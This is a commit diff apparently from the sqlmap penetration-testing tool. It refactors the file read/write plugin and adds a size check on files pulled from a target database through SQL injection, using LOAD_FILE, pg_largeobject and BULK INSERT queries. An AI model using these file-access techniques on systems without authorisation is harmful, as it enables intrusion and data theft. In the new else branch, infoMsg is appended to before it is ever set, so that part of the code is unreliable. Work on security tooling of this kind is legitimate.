@@ -36,40 +36,44 @@ def __init__(self):
3636 self .fileTblName = "sqlmapfile"
3737 self .tblField = "data"
3838
39- def _checkWrittenFile (self , wFile , dFile , fileType ):
39+ def _checkFileLength (self , localFile , remoteFile , fileRead = False ):
4040 if Backend .isDbms (DBMS .MYSQL ):
41- lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
41+ lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % remoteFile
4242
4343 elif Backend .isDbms (DBMS .PGSQL ):
44- lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self .oid
44+ if fileRead :
45+ lengthQuery = True
46+ else :
47+ lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self .oid
4548
4649 elif Backend .isDbms (DBMS .MSSQL ):
4750 self .createSupportTbl (self .fileTblName , self .tblField , "text" )
4851
4952 # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
50- inject .goStacked ("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self .fileTblName , dFile , randomStr (10 ), randomStr (10 )))
53+ inject .goStacked ("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self .fileTblName , remoteFile , randomStr (10 ), randomStr (10 )))
5154
5255 lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self .tblField , self .fileTblName )
5356
54- wFileSize = os .path .getsize (wFile )
57+ localFileSize = os .path .getsize (localFile )
5558
56- logger .debug ("checking if the %s file has been written " % fileType )
57- dFileSize = inject .getValue (lengthQuery , resumeValue = False , expected = EXPECTED .INT , charsetType = CHARSET_TYPE .DIGITS )
59+ logger .debug ("checking the length of the remote file %s " % remoteFile )
60+ remoteFileSize = inject .getValue (lengthQuery , resumeValue = False , expected = EXPECTED .INT , charsetType = CHARSET_TYPE .DIGITS )
5861 sameFile = None
5962
60- if isNumPosStrValue (dFileSize ):
61- infoMsg = "the file has been successfully written and "
62- infoMsg += "its size is %s bytes" % dFileSize
63-
64- dFileSize = long (dFileSize )
63+ if isNumPosStrValue (remoteFileSize ):
64+ remoteFileSize = long (remoteFileSize )
65+ sameFile = False
6566
66- if wFileSize == dFileSize :
67+ if localFileSize == remoteFileSize :
6768 sameFile = True
68- infoMsg += ", same size as the local file '%s'" % wFile
69+ infoMsg = "the local file %s and the remote file " % localFile
70+ infoMsg += "%s have the same size" % remoteFile
71+ elif remoteFileSize > localFileSize :
72+ infoMsg = "the remote file %s is larger than " % remoteFile
73+ infoMsg += "the local file %s" % localFile
6974 else :
70- sameFile = False
7175 infoMsg += ", but the size differs from the local "
72- infoMsg += "file '%s' (%d bytes)" % (wFile , wFileSize )
76+ infoMsg += "file '%s' (%d bytes)" % (localFile , localFileSize )
7377
7478 logger .info (infoMsg )
7579 else :
@@ -133,38 +137,49 @@ def fileEncode(self, fileName, encoding, single):
133137
134138 return retVal
135139
136- def askCheckWrittenFile (self , wFile , dFile , fileType ):
137- message = "do you want confirmation that the file '%s' " % dFile
140+ def askCheckWrittenFile (self , localFile , remoteFile ):
141+ message = "do you want confirmation that the local file '%s' " % localFile
138142 message += "has been successfully written on the back-end DBMS "
139- message += "file system? [Y/n] "
143+ message += "file system (%s)? [Y/n] " % remoteFile
144+ output = readInput (message , default = "Y" )
145+
146+ if not output or output in ("y" , "Y" ):
147+ return self ._checkFileLength (localFile , remoteFile )
148+
149+ return True
150+
151+ def askCheckReadFile (self , localFile , remoteFile ):
152+ message = "do you want confirmation that the remote file '%s' " % remoteFile
153+ message += "has been successfully downloaded from the back-end "
154+ message += "DBMS file system? [Y/n] "
140155 output = readInput (message , default = "Y" )
141156
142157 if not output or output in ("y" , "Y" ):
143- return self ._checkWrittenFile ( wFile , dFile , fileType )
158+ return self ._checkFileLength ( localFile , remoteFile , True )
144159
145160 return True
146161
147- def nonStackedReadFile (self , rFile ):
162+ def nonStackedReadFile (self , remoteFile ):
148163 errMsg = "'nonStackedReadFile' method must be defined "
149164 errMsg += "into the specific DBMS plugin"
150165 raise SqlmapUndefinedMethod , errMsg
151166
152- def stackedReadFile (self , rFile ):
167+ def stackedReadFile (self , remoteFile ):
153168 errMsg = "'stackedReadFile' method must be defined "
154169 errMsg += "into the specific DBMS plugin"
155170 raise SqlmapUndefinedMethod , errMsg
156171
157- def unionWriteFile (self , wFile , dFile , fileType ):
172+ def unionWriteFile (self , localFile , remoteFile , fileType ):
158173 errMsg = "'unionWriteFile' method must be defined "
159174 errMsg += "into the specific DBMS plugin"
160175 raise SqlmapUndefinedMethod , errMsg
161176
162- def stackedWriteFile (self , wFile , dFile , fileType ):
177+ def stackedWriteFile (self , localFile , remoteFile , fileType ):
163178 errMsg = "'stackedWriteFile' method must be defined "
164179 errMsg += "into the specific DBMS plugin"
165180 raise SqlmapUndefinedMethod , errMsg
166181
167- def readFile (self , rFile ):
182+ def readFile (self , remoteFile ):
168183 fileContent = None
169184
170185 self .checkDbmsOs ()
@@ -177,13 +192,13 @@ def readFile(self, rFile):
177192 debugMsg += "injection technique"
178193 logger .debug (debugMsg )
179194
180- fileContent = self .stackedReadFile (rFile )
195+ fileContent = self .stackedReadFile (remoteFile )
181196 elif Backend .isDbms (DBMS .MYSQL ):
182197 debugMsg = "going to read the file with a non-stacked query "
183198 debugMsg += "SQL injection technique"
184199 logger .debug (debugMsg )
185200
186- fileContent = self .nonStackedReadFile (rFile )
201+ fileContent = self .nonStackedReadFile (remoteFile )
187202 else :
188203 errMsg = "none of the SQL injection techniques detected can "
189204 errMsg += "be used to read files from the underlying file "
@@ -214,14 +229,16 @@ def readFile(self, rFile):
214229 fileContent = newFileContent
215230
216231 fileContent = decodeHexValue (fileContent )
217- rFilePath = dataToOutFile (fileContent )
232+ remoteFilePath = dataToOutFile (fileContent )
218233
219234 if not Backend .isDbms (DBMS .PGSQL ):
220235 self .cleanup (onlyFileTbl = True )
221236
222- return rFilePath
237+ self .askCheckReadFile (remoteFilePath , remoteFile )
238+
239+ return remoteFilePath
223240
224- def writeFile (self , wFile , dFile , fileType = None ):
241+ def writeFile (self , localFile , remoteFile , fileType = None ):
225242 self .checkDbmsOs ()
226243
227244 if conf .direct or isTechniqueAvailable (PAYLOAD .TECHNIQUE .STACKED ):
@@ -230,14 +247,14 @@ def writeFile(self, wFile, dFile, fileType=None):
230247 debugMsg += "stacked query SQL injection technique"
231248 logger .debug (debugMsg )
232249
233- self .stackedWriteFile (wFile , dFile , fileType )
250+ self .stackedWriteFile (localFile , remoteFile , fileType )
234251 self .cleanup (onlyFileTbl = True )
235252 elif isTechniqueAvailable (PAYLOAD .TECHNIQUE .UNION ) and Backend .isDbms (DBMS .MYSQL ):
236253 debugMsg = "going to upload the %s file with " % fileType
237254 debugMsg += "UNION query SQL injection technique"
238255 logger .debug (debugMsg )
239256
240- self .unionWriteFile (wFile , dFile , fileType )
257+ self .unionWriteFile (localFile , remoteFile , fileType )
241258 else :
242259 errMsg = "none of the SQL injection techniques detected can "
243260 errMsg += "be used to write files to the underlying file "
0 commit comments